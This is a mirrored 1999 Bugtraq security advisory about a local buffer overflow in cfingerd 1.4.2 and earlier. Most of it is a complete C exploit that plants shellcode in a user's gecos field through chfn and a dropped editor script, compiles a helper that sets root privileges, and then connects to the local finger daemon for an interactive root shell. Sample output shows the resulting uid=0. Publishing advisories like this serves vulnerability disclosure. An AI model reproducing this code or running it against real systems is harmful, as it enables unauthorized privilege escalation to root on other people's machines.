Computer Security
[EN] securityvulns.ru
no-pyccku







BP9909-00: cfingerd local buffer overflow




BP9909-00: cfingerd local buffer overflow





=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Date: Вт, 21 сен 1999  18:12:23
  От: Przemyslaw Frasunek <secure@FREEBSD.LUBLIN.PL>
Кому: BUGTRAQ@SECURITYFOCUS.COM
Тема: BP9909-00: cfingerd local buffer overflow
--------------------------------------------------------------------------------


-----BEGIN PGP SIGNED MESSAGE-----

               Babcia Padlina Ltd. Security Advisory (BP-9909:00)
               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Synopsis:

       Cfingerd is vulnerable to local buffer overflow attack.

Vulnerable versions:

       Cfingerd 1.4.2 and earlier installed on systems which doesn't
       limit gecos length.

Description:

       By setting carefully designed gecos it is possible to execute
       arbitrary code with root (or nobody) priviliges.

Sample code (FreeBSD version):

- --------------------------------------------------------------------------------


/*

babcia padlina ltd. cfingerd local root exploit

RET: bfbfd7d2
PTR: bfbfd750

setting up...

Username: __________л#^__%^_1Т%V_%V_%V__V_1А°;In real life:

Home directory: ФЧїїUe_(            Shell: %_@в
Room: ____________л#^__%^_1Т%V_%V_%V__V_1АWork phone:
Home phone:                         Other:

This user has no mail or mail spool.
Last seen Sun Sep 19 01:09 PM (CEST) from lagoon.gadaczka

uid=0(root) gid=0(wheel) groups=0(wheel)

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>

#define BUFFER_SIZE     80
#define ADDRS           190
#define PTROFS          200
#define RETOFS          330
#define NOP             0x90
#define FILE1           "user.inf"
#define FILE2           "hack"
#define FILE3           "set"
#define FINGER          79
#define MAXLINE         1024
#define LOCALHOST       0x7f000001
#define GREEN           "\033[1;32m"
#define RED             "\033[1;31m"
#define NORM            "\033[1;39m"
#define UNBOLD          "\E[m"

long getesp(void)
{
       __asm__("movl %esp,%eax\n");
}

void sh(sockfd)
int sockfd;
{
       char buf[MAXLINE];
       int c;
       fd_set rf, drugi;

       FD_ZERO(&rf);
       FD_SET(0, &rf);
       FD_SET(sockfd, &rf);

       while (1)
       {
               bzero(buf, MAXLINE);
               memcpy (&drugi, &rf, sizeof(rf));
               select(sockfd+1, &drugi, NULL, NULL, NULL);
               if (FD_ISSET(0, &drugi))
               {
                       c = read(0, buf, MAXLINE);
                       send(sockfd, buf, c, 0x4);
               }

               if (FD_ISSET(sockfd, &drugi))
               {
                       c = read(sockfd, buf, MAXLINE);
                       if (c<0) return;
                       write(1,buf,c);
               }
       }
}

int connectto(void)
{
       int sockfd;
       char sendbuf[MAXLINE];
       struct sockaddr_in cli;

       bzero(&cli, sizeof(cli));
       cli.sin_family = AF_INET;
       cli.sin_addr.s_addr=htonl(LOCALHOST);
       cli.sin_port = htons(FINGER);

       if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
       {
               perror("socket");
               return -1;
       }

       if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
       {
               perror("connect");
               return -1;
       }

       sprintf(sendbuf, "%.1023s\n", getenv("LOGNAME"));
       write(sockfd, sendbuf, strlen(sendbuf));

       sleep(1);

       sprintf(sendbuf, "%.900s/%s\n", getenv("HOME"), FILE3);
       write(sockfd, sendbuf, strlen(sendbuf));

       sleep(1);

       sprintf(sendbuf, "id\n");
       write(sockfd, sendbuf, strlen(sendbuf));

       unlink(FILE3);

       fflush(stdout);
       fflush(stderr);

       sh(sockfd);

       return;
}



int main(argc, argv)
int argc;
char **argv;
{
       char *buf1 = NULL, *buf2 = NULL, *p = NULL;
       u_long *addr_ptr = NULL;
       int noplen, i, bufsize = BUFFER_SIZE, addrs = ADDRS, ptrofs = PTROFS;
       int retofs = RETOFS;
       long ret, ptr;
       FILE *phile;

       char execshell[] =
       "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
       "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
       "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
       "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

       fprintf(stderr, "\n%sbabcia padlina ltd. cfingerd local root
exploit%s%s\n\n", GREEN, NORM, UNBOLD);

       if(argc > 5)
       {
               bufsize = atoi(argv[1]);
               addrs = atoi(argv[2]);
               ptrofs = atoi(argv[3]);
               retofs = atoi(argv[4]);
       }

       if(!(buf1 = malloc(bufsize+1)))
       {
               perror("malloc()");
               return -1;
       }

       if(!(buf2 = malloc(addrs+1)))
       {
               perror("malloc()");
               return -1;
       }

       ret = getesp() + retofs;
       ptr = getesp() + ptrofs;

       noplen = bufsize - strlen(execshell);
       memset(buf1, NOP, noplen);
       strcat(buf1, execshell);

       p = buf2;
       addr_ptr = (unsigned long *)p;

       for(i = 0; i < (addrs / 4) /2; i++)
               *addr_ptr++ = ptr;

       for(i = 0; i < (addrs / 4) /2; i++)
               *addr_ptr++ = ret;

       p = (char *)addr_ptr;
       *p = '\0';

       if ((phile = fopen(FILE1, "w")) == NULL)
       {
               perror("fopen()");
               return -1;
       }

       fprintf(stderr, "%sRET: %s%x\n%sPTR: %s%x%\n\n%ssetting up...%s%s\n",
GREEN, RED, ret, GREEN, RED, ptr, GREEN, NORM, UNBOLD);


fprintf(phile, "#Changing user database information for %s.\n"
               "Shell: %s\n"
               "Full Name: %s\n"
               "Office Location: %s\n"
               "Office Phone: \n"
               "Home Phone: \n"
               "Other information: \n",
               getenv("LOGNAME"), getenv("SHELL"), buf2, buf1);

       fclose(phile);

       if ((phile = fopen(FILE2, "w")) == NULL)
       {
               perror("fopen()");
               return -1;
       }

       fprintf(phile, "cat user.inf>\"$1\"\n");
       fprintf(phile, "touch -t 2510711313 \"$1\"\n");

       fclose(phile);

       sprintf(buf1, "%s.c", FILE3);

       if ((phile = fopen(buf1, "w")) == NULL)
       {
               perror("fopen()");
               return -1;
       }

       // buffer is too small to execute seteuid/setegid there, so we have
       // to do this here.

       fprintf(phile, "main() { seteuid(0); setegid(0); system(\"exec
/bin/sh\"); }");
       fclose(phile);

       sprintf(buf2, "/usr/bin/cc -o %s %s.c", FILE3, FILE3);

       system(buf2);
       unlink(buf1);

       system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn > /dev/null
2>&1");
       unlink(FILE1);
       unlink(FILE2);

       if (connectto() < 0)
               return -1;

       return 0;
}

- --------------------------------------------------------------------------------


- ---
* Fido: 2:480/124 ** WWW: FreeBSD.lublin.pl/~venglin ** GSM: +48-601-062409 *
* Inet: venglin@FreeBSD.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF *

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
Charset: noconv

iQCVAwUBN+eSRtO5/yfsePq1AQH15QQAgRmuBrdfZTFnwr61IqYHQVZACxhUrtdu
Qh5yV/QsavnkOg4ozb5bADdh3b6F44jcP5UOR1AfRynAYzflB3xcWItokH4FthMC
sIGyIXgkbRheEdL6JylqhgZVu5bO+e1AygqygeyQRXE+r/+KjXp1lDOaRXaZpL2C
cuKy0fNSscs=
=kfQ4
-----END PGP SIGNATURE-----


About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru